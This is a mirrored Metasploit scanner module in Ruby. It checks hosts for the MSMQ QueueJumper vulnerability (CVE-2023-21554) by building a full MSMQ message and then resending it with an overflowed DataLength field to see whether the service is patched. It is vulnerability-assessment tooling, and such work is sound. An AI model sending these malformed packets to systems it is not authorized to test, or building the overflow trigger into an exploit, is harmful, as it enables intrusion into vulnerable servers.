CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/msmq/cve_2023_21554_queuejumper.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'bindata'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Auxiliary::Scanner
11
include Msf::Auxiliary::Report
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'CVE-2023-21554 - QueueJumper - MSMQ RCE Check',
18
'Description' => %q{
19
This module checks the provided hosts for the CVE-2023-21554 vulnerability by sending
20
a MSMQ message with an altered DataLength field within the SRMPEnvelopeHeader that
21
overflows the given buffer. On patched systems, the error is caught and no response
22
is sent back. On vulnerable systems, the integer wraps around and depending on the length
23
could cause an out-of-bounds write. In the context of this module a response is sent back,
24
which indicates that the system is vulnerable.
25
},
26
'Author' => [
27
'Wayne Low', # Vulnerability discovery
28
'Haifei Li', # Vulnerability discovery
29
'Bastian Kanbach <[email protected]>' # Metasploit Module, @__bka__
30
],
31
'References' => [
32
[ 'CVE', '2023-21554' ],
33
[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21554' ],
34
[ 'URL', 'https://securityintelligence.com/posts/msmq-queuejumper-rce-vulnerability-technical-analysis/' ]
35
],
36
'DisclosureDate' => '2023-04-11',
37
'License' => MSF_LICENSE,
38
'Notes' => {
39
'Stability' => [ CRASH_SAFE ],
40
'SideEffects' => [IOC_IN_LOGS],
41
'Reliability' => [REPEATABLE_SESSION],
42
'AKA' => ['QueueJumper']
43
}
44
)
45
)
46
register_options([
47
Opt::RPORT(1801)
48
])
49
end
50
51
# Preparing message struct according to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/f9e71595-339a-4cc4-8341-371e0a4cb232
52
53
class BaseHeader < BinData::Record
54
# BaseHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/058cdeb4-7a3c-405b-989c-d32b9d6bddae)
55
#
56
# Simple header containing a static signature, packet size, some flags and some sort of timeout value for the message to arrive
57
#
58
59
endian :big
60
61
uint8 :version_number
62
uint8 :reserved
63
uint16 :flags
64
uint32 :signature
65
uint32le :packet_size
66
uint32le :time_to_reach_queue
67
end
68
69
class UserHeader < BinData::Record
70
# UserHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/056b43bc-2466-4342-8504-1630310d5965)
71
#
72
# The UserHeader is an essential header that defines the destination, message id,
73
# source, sent time and expiration time
74
#
75
76
endian :big
77
78
string :source_queue_manager, length: 16
79
string :queue_manager_address, length: 16
80
uint32le :time_to_be_received
81
uint32le :sent_time
82
uint32le :message_id
83
uint32 :flags
84
uint16le :destination_queue_length
85
string :destination_queue
86
string :padding
87
end
88
89
class MessagePropertiesHeader < BinData::Record
90
# MessagePropertiesHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/b219bdf4-1bf6-4688-94d8-25fdba45e5ec)
91
#
92
# This header contains meta information about the message like its label,
93
# message size and whether encryption is used.
94
#
95
96
endian :big
97
98
uint8 :flags
99
uint8 :label_length
100
uint16 :message_class
101
string :correlation_id, length: 20
102
uint32 :body_type
103
uint32 :application_tag
104
uint32 :message_size
105
uint32 :allocation_body_size
106
uint32 :privacy_level
107
uint32 :hash_algorithm
108
uint32 :encryption_algorithm
109
uint32 :extension_size
110
string :label
111
end
112
113
class SRMPEnvelopeHeader < BinData::Record
114
# SRMPEnvelopeHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/062b8317-2ade-4b1c-804d-1674b2fdcad3)
115
#
116
# This header contains information about the SOAP envelope of the message.
117
# It includes information about destination queue, label, message and sent
118
# or expiration dates.
119
# The Data field contains a SRMP Message Structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/mc-mqsrm/38cfc717-c703-46aa-a145-34f60b79399b)
120
#
121
122
endian :big
123
124
uint16 :header_id
125
uint16 :reserved
126
uint32le :data_length
127
string :data
128
string :padding
129
end
130
131
class CompoundMessageHeader < BinData::Record
132
# CompoundMessageHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/ecf70c09-d312-4afc-9e2c-f61a5c827f47)
133
#
134
# This header contains information about the SRMP compound message.
135
# This is basically a HTTP message containing HTTP headers and a SOAP
136
# body that defines parameters like the message destination, sent date,
137
# label and some more.
138
#
139
140
endian :big
141
142
uint16le :header_id
143
uint16 :reserved
144
uint32le :http_body_size
145
uint32le :msg_body_size
146
uint32le :msg_body_offset
147
string :data
148
end
149
150
class ExtensionHeader < BinData::Record
151
# ExtensionHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/baf230bf-7f15-4d03-bd1d-f8276608a955)
152
#
153
# Header detailing if any further headers are present. In this case
154
# no further headers were appended.
155
#
156
157
endian :big
158
159
uint32le :header_size
160
uint32le :remaining_headers_size
161
uint8 :flags
162
string :reserved, length: 3
163
end
164
165
def send_message(msg)
166
connect
167
sock.put(msg)
168
response = sock.timed_read(1024)
169
disconnect
170
return response
171
end
172
173
def run_host(ip)
174
base_header = BaseHeader.new
175
176
# Version number is always 0x10
177
base_header.version_number = 16
178
179
base_header.reserved = 0
180
181
# Flags: PR=3 (Message Priority)
182
base_header.flags = 768
183
184
# Signature is static and always set to 'LIOR'
185
base_header.signature = 0x4C494F52
186
187
# TimeToReachQueue set to 'infinite' (0xFFFFFFFF)
188
base_header.time_to_reach_queue = 4294967295
189
190
user_header = UserHeader.new
191
192
# SourceQueueManager is set to a null UUID, since SRMP Messages use the SOAP Headers for this
193
user_header.source_queue_manager = "\x00" * 16
194
195
# QueueManagerAddress is set to a null UUID, since SRMP Messages use the SOAP Headers for this
196
user_header.queue_manager_address = "\x00" * 16
197
198
user_header.time_to_be_received = 0
199
200
# SentTime is set to an arbitrary value. For this purpose it doesn't matter if it's in the past
201
user_header.sent_time = 1690217059
202
203
user_header.message_id = 1
204
205
# Flags: RC=1, DQ=7 (Direct Format Type), F=1 (MessagePropertiesHeader present), J=1 (HTTP used)
206
user_header.flags = 18620418
207
208
# An arbitrary ip address and queue name was chosen to send the message.
209
# Usually this need to match an existing IP address and queue name, however
210
# for this Proof-of-Concept it doesn't matter what values are used.
211
user_header.destination_queue = "http://192.168.10.100/msmq/private$/queuejumper\x00".encode('utf-16le')
212
213
user_header.destination_queue_length = user_header.destination_queue.length
214
user_header.padding = ''
215
user_header_padding_required = (4 - (user_header.to_binary_s.length % 4)) % 4
216
user_header.padding = "\x00" * user_header_padding_required
217
218
message_properties_header = MessagePropertiesHeader.new
219
message_properties_header.flags = 0
220
message_properties_header.message_class = 0
221
message_properties_header.correlation_id = "\x00" * 20
222
message_properties_header.body_type = 0
223
message_properties_header.application_tag = 0
224
225
# Usually this field contains the size of the message. In SRMP messages this is handles within the SOAP headers
226
message_properties_header.message_size = 0
227
228
message_properties_header.allocation_body_size = 0
229
message_properties_header.privacy_level = 0
230
message_properties_header.hash_algorithm = 0
231
message_properties_header.encryption_algorithm = 0
232
message_properties_header.extension_size = 0
233
234
# Label of the message was set to the arbitrary value 'poc'
235
message_properties_header.label = "poc\x00".encode('utf-16le')
236
237
message_properties_header.label_length = message_properties_header.label.length / 2
238
239
srmp_envelope_header = SRMPEnvelopeHeader.new
240
srmp_envelope_header.header_id = 0
241
srmp_envelope_header.reserved = 0
242
243
# The payload within the SRMPEnvelopeHeader structure is a SOAP request that defines message label, destination queue
244
# and expiry and sent dates.
245
# Usually the destination information need to match the IP address and queue name, however
246
# for this Proof-of-Concept it doesn't matter what values are used.
247
srmp_envelope_header.data = <<~EOF.chomp
248
<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" \r
249
xmlns="http://schemas.xmlsoap.org/srmp/">\r
250
<se:Header>\r
251
<path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1">\r
252
<action>MSMQ:poc</action>\r
253
<to>http://192.168.10.100/msmq/private$/queuejumper</to>\r
254
<id>uuid:1@00000000-0000-0000-0000-000000000000</id>\r
255
</path>\r
256
<properties se:mustUnderstand="1">\r
257
<expiresAt>20600609T164419</expiresAt>\r
258
<sentAt>20230724T164419</sentAt>\r
259
</properties>\r
260
</se:Header>\r
261
<se:Body></se:Body>\r
262
</se:Envelope>\r\n\r\n\x00
263
EOF
264
265
srmp_envelope_header.data = srmp_envelope_header.data.encode('utf-16le')
266
srmp_envelope_header.data_length = srmp_envelope_header.data.length / 2
267
srmp_envelope_header_padding_required = (4 - (srmp_envelope_header.to_binary_s.length % 4)) % 4
268
srmp_envelope_header.padding = "\x00" * srmp_envelope_header_padding_required
269
270
compound_message_header = CompoundMessageHeader.new
271
272
# HeaderId is set to an arbitrary value
273
compound_message_header.header_id = 500
274
275
compound_message_header.reserved = 0
276
277
# MsgBodySize denotes the size of the actual message
278
compound_message_header.msg_body_size = 7
279
280
# MsgBodyOffset is the offset of the actual message within the CompoundMessageHeader payload
281
compound_message_header.msg_body_offset = 995
282
283
# The data field within the CompoundMessageHeader structure contains a HTTP-POST request that is used to submit the message
284
# to MSMQ. It contains the destination host, the SOAP envelope from SRMPEnvelopeHeader, sent and expiry dates. The destination
285
# addresses and queue names don't need to match for this proof-of-concept to work. With incorrect information the message will
286
# never reach the destination, however parsing of the structure and triggering the vulnerable code sequence happens before anyway.
287
compound_message_header.data = <<~EOF.chomp
288
POST /msmq HTTP/1.1\r
289
Content-Length: 816\r
290
Content-Type: multipart/related; boundary="MSMQ - SOAP boundary, 53287"; type=text/xml\r
291
Host: 192.168.10.100\r
292
SOAPAction: "MSMQMessage"\r
293
Proxy-Accept: NonInteractiveClient\r
294
\r
295
--MSMQ - SOAP boundary, 53287\r
296
Content-Type: text/xml; charset=UTF-8\r
297
Content-Length: 606\r
298
\r
299
<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" \r
300
xmlns="http://schemas.xmlsoap.org/srmp/">\r
301
<se:Header>\r
302
<path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1">\r
303
<action>MSMQ:poc</action>\r
304
<to>http://192.168.10.100/msmq/private$/queuejumper</to>\r
305
<id>uuid:1@00000000-0000-0000-0000-000000000000</id>\r
306
</path>\r
307
<properties se:mustUnderstand="1">\r
308
<expiresAt>20600609T164419</expiresAt>\r
309
<sentAt>20230724T164419</sentAt>\r
310
</properties>\r
311
</se:Header>\r
312
<se:Body></se:Body>\r
313
</se:Envelope>\r
314
\r
315
--MSMQ - SOAP boundary, 53287\r
316
Content-Type: application/octet-stream\r
317
Content-Length: 7\r
318
Content-Id: body@ff3af301-3196-497a-a918-72147c871a13\r
319
\r
320
Message\r
321
--MSMQ - SOAP boundary, 53287--\x00
322
EOF
323
compound_message_header.http_body_size = compound_message_header.data.length
324
325
extension_header = ExtensionHeader.new
326
327
# Extension header will be empty in this case. The length is set to the minimal value of 12.
328
extension_header.header_size = 12
329
330
extension_header.remaining_headers_size = 0
331
extension_header.flags = 0
332
extension_header.reserved = "\x00" * 3
333
334
# Total packet size within the BaseHeader is calculated, now that all message parts were instantiated
335
base_header.packet_size = base_header.to_binary_s.length + user_header.to_binary_s.length + message_properties_header.to_binary_s.length + srmp_envelope_header.to_binary_s.length + compound_message_header.to_binary_s.length + extension_header.to_binary_s.length
336
337
# A normal message is sent to the server. This should yield a result for both, vulnerable and patched MSMQ instances
338
response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)
339
340
if !response
341
print_error('No response received due to a timeout')
342
return
343
end
344
345
if response.include?('LIOR')
346
# Response from server contains the static signature value 'LIOR'. Presence of MSMQ is confirmed
347
print_status('MSMQ detected. Checking for CVE-2023-21554')
348
else
349
print_error('Service does not look like MSMQ')
350
return
351
end
352
353
# This statement increases the DataLength field within the SRMPEnvelopeHeader by 0x80000000. This will cause
354
# an integer overflow, that overflows the 4 integer bytes. By adding this value the least significant 4 bytes will
355
# remain the same, to ensure that a vulnerable MSMQ instance doesn't try to access invalid memory. This means that
356
# vulnerable instances are expected to sent a normal response, like for the first, unmodified packet.
357
#
358
# Patched instances will detect the overflow, throw an exception and stop processing the message. No response is expected.
359
srmp_envelope_header.data_length = srmp_envelope_header.data_length + 2147483648
360
361
response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)
362
363
if response.nil?
364
print_error('No response received, MSMQ seems to be patched')
365
return
366
end
367
368
if response.include?('LIOR')
369
print_good('MSMQ vulnerable to CVE-2023-21554 - QueueJumper!')
370
371
# Add Report
372
report_vuln(
373
host: ip,
374
port: rport,
375
proto: 'tcp',
376
name: name,
377
info: 'Missing Microsoft Windows patch for CVE-2023-21554',
378
refs: references
379
)
380
381
else
382
print_error('Unknown response detected upon sending a malformed message. MSMQ might be vulnerable, but the behaviour is unusual')
383
end
384
rescue ::Rex::ConnectionError
385
print_error('Unable to connect to the service')
386
rescue ::Errno::ECONNRESET
387
print_error('Connection reset by service')
388
rescue ::Errno::EPIPE
389
print_error('pipe error')
390
rescue Timeout::Error
391
print_error('Timeout after waiting for service to respond')
392
rescue StandardError => e
393
print_error(e)
394
end
395
end
396
397